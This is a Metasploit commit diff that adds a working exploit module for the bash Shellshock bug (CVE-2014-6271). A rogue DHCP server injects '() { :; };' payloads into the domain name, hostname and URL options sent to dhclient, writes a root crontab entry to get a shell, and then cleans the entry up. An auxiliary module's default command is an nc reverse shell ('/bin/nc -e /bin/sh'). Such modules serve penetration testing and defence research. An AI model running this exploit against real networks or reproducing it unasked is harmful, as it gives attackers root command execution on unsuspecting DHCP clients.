Land #3893, @jlee-r7's exploit module for DHCP CVE-2014-2014-6271

bug/bundler_fix
jvazquez-r7 2014-09-26 13:43:33 -05:00
commit 1fa488f791
No known key found for this signature in database
GPG Key ID: 38D99152B9352D83
6 changed files with 133 additions and 47 deletions

View File

@ -12,7 +12,24 @@ module Msf
module Exploit::DHCPServer
def initialize(info = {})
super
super(update_info(info,
'Stance' => Msf::Exploit::Stance::Passive,
))
register_options(
[
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
OptString.new('ROUTER', [ false, "The router IP address" ]),
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
OptString.new('DOMAINNAME', [ false, "The optional domain name to assign" ]),
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
], self.class)
@dhcp = nil
end

View File

@ -19,9 +19,9 @@ OpDHCPServer = 0x36
OpLeaseTime = 0x33
OpSubnetMask = 1
OpRouter = 3
OpDomainName = 15
OpDns = 6
OpHostname = 0x0c
OpDomainname = 0x0f
OpURL = 0x72
OpEnd = 0xff

View File

@ -95,7 +95,7 @@ class Server
self.pxepathprefix = ""
self.pxereboottime = 2000
self.domainname = hash['DOMAINNAME'] if hash.include?('DOMAINNAME')
self.domain_name = hash['DOMAINNAME'] || nil
self.url = hash['URL'] if hash.include?('URL')
end
@ -129,7 +129,7 @@ class Server
allowed_options = [
:serveOnce, :pxealtconfigfile, :servePXE, :relayip, :leasetime, :dnsserv,
:pxeconfigfile, :pxepathprefix, :pxereboottime, :router,
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domainname, :url
:give_hostname, :served_hostname, :served_over, :serveOnlyPXE, :domain_name, :url
]
opts.each_pair { |k,v|
@ -154,10 +154,11 @@ class Server
end
attr_accessor :listen_host, :listen_port, :context, :leasetime, :relayip, :router, :dnsserv
attr_accessor :domain_name
attr_accessor :sock, :thread, :myfilename, :ipstring, :served, :serveOnce
attr_accessor :current_ip, :start_ip, :end_ip, :broadcasta, :netmaskn
attr_accessor :servePXE, :pxeconfigfile, :pxealtconfigfile, :pxepathprefix, :pxereboottime, :serveOnlyPXE
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :domainname, :url
attr_accessor :give_hostname, :served_hostname, :served_over, :reporter, :url
protected
@ -169,7 +170,7 @@ protected
wds = []
eds = [@sock]
r,w,e = ::IO.select(rds,wds,eds,1)
r,_,_ = ::IO.select(rds,wds,eds,1)
if (r != nil and r[0] == self.sock)
buf,host,port = self.sock.recvfrom(65535)
@ -201,19 +202,19 @@ protected
end
# parse out the members
hwtype = buf[1,1]
_hwtype = buf[1,1]
hwlen = buf[2,1].unpack("C").first
hops = buf[3,1]
txid = buf[4..7]
elapsed = buf[8..9]
flags = buf[10..11]
_hops = buf[3,1]
_txid = buf[4..7]
_elapsed = buf[8..9]
_flags = buf[10..11]
clientip = buf[12..15]
givenip = buf[16..19]
nextip = buf[20..23]
relayip = buf[24..27]
clienthwaddr = buf[28..(27+hwlen)]
_givenip = buf[16..19]
_nextip = buf[20..23]
_relayip = buf[24..27]
_clienthwaddr = buf[28..(27+hwlen)]
servhostname = buf[44..107]
filename = buf[108..235]
_filename = buf[108..235]
magic = buf[236..239]
if (magic != DHCPMagic)
@ -296,6 +297,8 @@ protected
pkt << dhcpoption(OpSubnetMask, self.netmaskn)
pkt << dhcpoption(OpRouter, self.router)
pkt << dhcpoption(OpDns, self.dnsserv)
pkt << dhcpoption(OpDomainName, self.domain_name)
if self.servePXE # PXE options
pkt << dhcpoption(OpPXEMagic, PXEMagic)
# We already got this one, serve localboot file
@ -320,7 +323,6 @@ protected
pkt << dhcpoption(OpHostname, send_hostname)
end
end
pkt << dhcpoption(OpDomainname, self.domainname) if self.domainname
pkt << dhcpoption(OpURL, self.url) if self.url
pkt << dhcpoption(OpEnd)

View File

@ -46,34 +46,27 @@ class Metasploit3 < Msf::Auxiliary
register_options(
[
OptString.new('SRVHOST', [ true, 'The IP of the DHCP server' ]),
OptString.new('NETMASK', [ true, 'The netmask of the local subnet' ]),
OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]),
OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]),
OptString.new('ROUTER', [ false, 'The router IP address' ]),
OptString.new('BROADCAST', [ false, 'The broadcast address to send to' ]),
OptString.new('DNSSERVER', [ false, 'The DNS server IP address' ]),
# OptString.new('HOSTNAME', [ false, 'The optional hostname to assign' ]),
OptString.new('HOSTSTART', [ false, 'The optional host integer counter' ]),
OptString.new('FILENAME', [ false, 'The optional filename of a tftp boot server' ]),
OptString.new('CMD', [ true, 'The command to run', '/bin/nc -e /bin/sh 127.0.0.1 4444'])
], self.class)
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
end
def run
value = "() { :; }; PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin #{datastore['CMD']}"
hash = datastore.copy
hash['DOMAINNAME'] = value
hash['HOSTNAME'] = value
hash['URL'] = value
# This loop is required because the current DHCP Server exits after the
# first interaction.
loop do
begin
start_service({
'HOSTNAME' => value,
'DOMAINNAME' => value,
'URL' => value
}.merge(datastore))
start_service(hash)
while dhcp.thread.alive?
while @dhcp.thread.alive?
select(nil, nil, nil, 2)
end

View File

@ -30,19 +30,6 @@ class Metasploit3 < Msf::Auxiliary
'DefaultAction' => 'Service'
)
register_options(
[
OptString.new('SRVHOST', [ true, "The IP of the DHCP server" ]),
OptString.new('NETMASK', [ true, "The netmask of the local subnet" ]),
OptString.new('DHCPIPSTART', [ false, "The first IP to give out" ]),
OptString.new('DHCPIPEND', [ false, "The last IP to give out" ]),
OptString.new('ROUTER', [ false, "The router IP address" ]),
OptString.new('BROADCAST', [ false, "The broadcast address to send to" ]),
OptString.new('DNSSERVER', [ false, "The DNS server IP address" ]),
OptString.new('HOSTNAME', [ false, "The optional hostname to assign" ]),
OptString.new('HOSTSTART', [ false, "The optional host integer counter" ]),
OptString.new('FILENAME', [ false, "The optional filename of a tftp boot server" ])
], self.class)
end
def run

View File

@ -0,0 +1,87 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/proto/dhcp'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::DHCPServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Dhclient Bash Environment Variable Injection',
'Description' => %q|
When bash is started with an environment variable that begins with the
string "() {", that variable is treated as a function definition and
parsed as code. If extra commands are added after the function
definition, they will be executed immediately. When dhclient receives
an ACK that contains a domain name or hostname, they are passed to
configuration scripts as environment variables, allowing us to trigger
the bash bug.
Because of the length restrictions and unusual networking scenario at
time of exploitation, we achieve code execution by echoing our payload
into /etc/crontab and clean it up when we get a shell.
|,
'Author' => [ 'egypt' ],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2014-6271'],
],
'Payload' =>
{
# 255 for a domain name, minus some room for encoding
'Space' => 200,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic bash telnet ruby',
}
},
'Targets' => [ [ 'Automatic Target', { }] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Sep 24 2014'
))
deregister_options('DOMAINNAME', 'HOSTNAME', 'URL')
end
def on_new_session(session)
print_status "Cleaning up crontab"
# XXX this will brick a server some day
session.shell_command_token("sed -i '/^\\* \\* \\* \\* \\* root/d' /etc/crontab")
end
def exploit
hash = datastore.copy
# Quotes seem to be completely stripped, so other characters have to be
# escaped
p = payload.encoded.gsub(/([<>()|'&;$])/) { |s| Rex::Text.to_hex(s) }
echo = "echo -e #{(Rex::Text.to_hex("*") + " ") * 5}root #{p}>>/etc/crontab"
hash['DOMAINNAME'] = "() { :; };#{echo}"
if hash['DOMAINNAME'].length > 255
raise ArgumentError, 'payload too long'
end
hash['HOSTNAME'] = "() { :; };#{echo}"
hash['URL'] = "() { :; };#{echo}"
start_service(hash)
begin
while @dhcp.thread.alive?
sleep 2
end
ensure
stop_service
end
end
end